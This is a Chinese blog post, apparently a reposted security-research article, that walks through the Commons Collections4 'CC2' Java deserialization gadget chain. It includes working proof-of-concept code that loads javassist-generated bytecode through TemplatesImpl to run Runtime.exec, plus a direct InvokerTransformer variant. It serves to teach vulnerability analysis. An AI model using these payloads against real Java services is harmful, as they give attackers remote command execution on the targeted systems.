百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

上帝视角调节反序列化链之CC2

toyiye 2024-05-25 20:11 23 浏览 0 评论

说是白痴上帝视角的原因在于我们拿到了poc,模拟不知道任何细节,去分析这个漏洞的形成原因。也可以说半黑盒状态,主要是锻炼一下分析能力。CC1的分析已经在之前的文章发过了。主要是拿来入门的,现在我们分析一下CC2.这篇文章也是重构,很早之前分析了一次,但是当时水平比现在还低,所以很多地方还不够清楚。现在重新分析一下。需要涉及到以下的知识点

javassist动态编程(主要是字节码修改操作,把他可以看成一个加强版的反射)

本来开始直接跟着poc调的,poc不是特别的友好,很多地方不清楚,那我们还是借助poc逆向来分析吧。

poc
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("e0mlja");
        payload.setSuperclass(classPool.get(AbstractTranslet));  
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 
        byte[] bytes=payload.toBytecode();
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();
        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

了解反序列化的都知道,最终是调用了重写的ReadObject导致了反序列化。所以这里我们看看是PriorityQueue这个类导致了反序列化。我们看看他的ReadObject方法。

方法不大,仔细看看忍一下。heapify()特别瞩目(其实是因为没啥看的了)跟进去看看

siftDown

siftDownUsingComparator

这里我能火速的标记出来是因为之前已经调过了。跟到这里,comparetor调用了compare()方法,再进去就是进接口了。所以这里我们暂放一下,思考一下。是不是某个comparator接口的实现类或者实现类的子类赋值给了comparator(),其中他的compare()调用了其他的一些列方法导致了反序列化链?这里说说两个方法
(1)寻找
Comparator<I>的实现类,并且有compare()方法的类去找找。
(2)直接看poc,看看别人找到了哪个类。
本着说道做到的原则,说了当咸鱼就要躺到底,这一期当个白痴,直接看poc里给了哪个类。

看看这个类有哪些东西。卧槽?compare()方法里调用了transform,然后 this.transformer构造方法赋值我们可控。可真是小刀划屁股,着实让人开了眼。

来验证一下,自己写一个类hello,里面的e0mlja方法会弹出计算器。
import java.io.IOException;
import java.io.Serializable;

public class hello implements Serializable {
    public  void e0mlja(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
//修改poc
        hello h = new hello();
        InvokerTransformer transformer=new InvokerTransformer("e0mlja",null,null);
        TransformingComparator comparator =new TransformingComparator(transformer);//使用Tr
        PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);
        queue.add(h);
        queue.add(h);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{hello.class,hello.class});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
//这里反射调用修改queue字段的原因是找了一下没有方法可以直接赋值。看看效果

不错,成功了。想一下我们现在有的东西,能够通过反序列化PriorityQueue,实现任一类的方法某个调用了。但前提是我们这个类必须要可序列化。我们从CC1知道,Runtime是不能直接序列化的。所以这里要利用CC1的话必须要构造transformerChain传入PriorityQueue中,但是很遗憾,类型转换失败,所以我们要寻找其他的出路了。其实我们的需求现在已经比较低了。我们自己写了一个类上去,现实中肯定没有开发敢这么写,第二天可能就要跑路。所以我们现在找一个办法,能够动态生成一个类,也可以打到一样的效果,这就用到了javassist动态编程了。这里不多介绍,以往文章应该发了,没法的话后续补上。有人可能会疑惑了,为啥不能直接生成一个新的类,添加方法。这是动态编程可以完成的。但是我们要知道生成的类是没有class的,需要调用修改都要用反射,所以是找不到我们想要执行的方法的。这里我们可以寻找一个其他的可以反序列化类,来生成这个对象。
这里选择了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的newTransformer()来实现。我们来看看这个类

这几个涉及方法的,我们都跟进去看看

最终发现了newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance()。也就是说利用这条链子来加载并实例化了一个类。(注意,我们采用javassist生成的类的方法是静态方法,类在实例化的时候就会调用。)流程差不多清楚了,现在来看看我们要实现这个链子还需要什么条件。
getTransletInstance() 不需要任何条件即可执行
defineTransletClasses() (1) _name不为空 _class为空(构造方法中赋值,不传就行了)。
loader.defineClass(_bytecodes[i]) (1)_bytecodes不为空 (2)超类需要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。

来看看构造完成后,在getTransletInstance()调用了newInstance()完成了类的实例化,执行了我们的恶意代码。

来看一下调用链
getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:59, CC2

(1)最后总结一下。我们首先是在重构的PriorityQueue.readObject里面找到了heapify()方法。
(2)通过heapify()->siftDown()->siftDownUsingComparator()->Comparator.compare()实现了一条命令执行链,但是由于没有办法生成新的类,所以还需要找一个任意生成类的链子。
(3)newTransformer()->getTransletInstance()->defineTransletClasses()->loader.defineClass(_bytecodes[i]) ->_class[_transletIndex].newInstance(),通过这里,我们能将利用javassist动态生成的类的字节码传入到其中,实例化一个类调用我们定义的方法,造成任意命令执行。
这里突发奇想,如果说我直接将Runtime作为对象传入,然后动态调整这个CC链,是不是就不需要动态编程这一步了,直接就可以命令执行?事实证明,是可行的。

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewMethod;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class test_e0m {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new String[]{"calc.exe"});
        TransformingComparator comparator =new TransformingComparator(invokerTransformer);//使用Tr
        PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);
        queue.add(runtime);
        queue.add(runtime);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{Runtime.class,Runtime.class});


        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

谈了一下,这种方法的不便之处在于只能命令执行,需要实现什么得自己去找。javassist能够动态生成一个函数。但是需要依赖第三方累。当我们想要依赖的类不存在就用不起。用这个能够直接执行命令,但是对于一些不出网的情况,用起来就恼火,直接出网的能直接用。

学习攻略

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码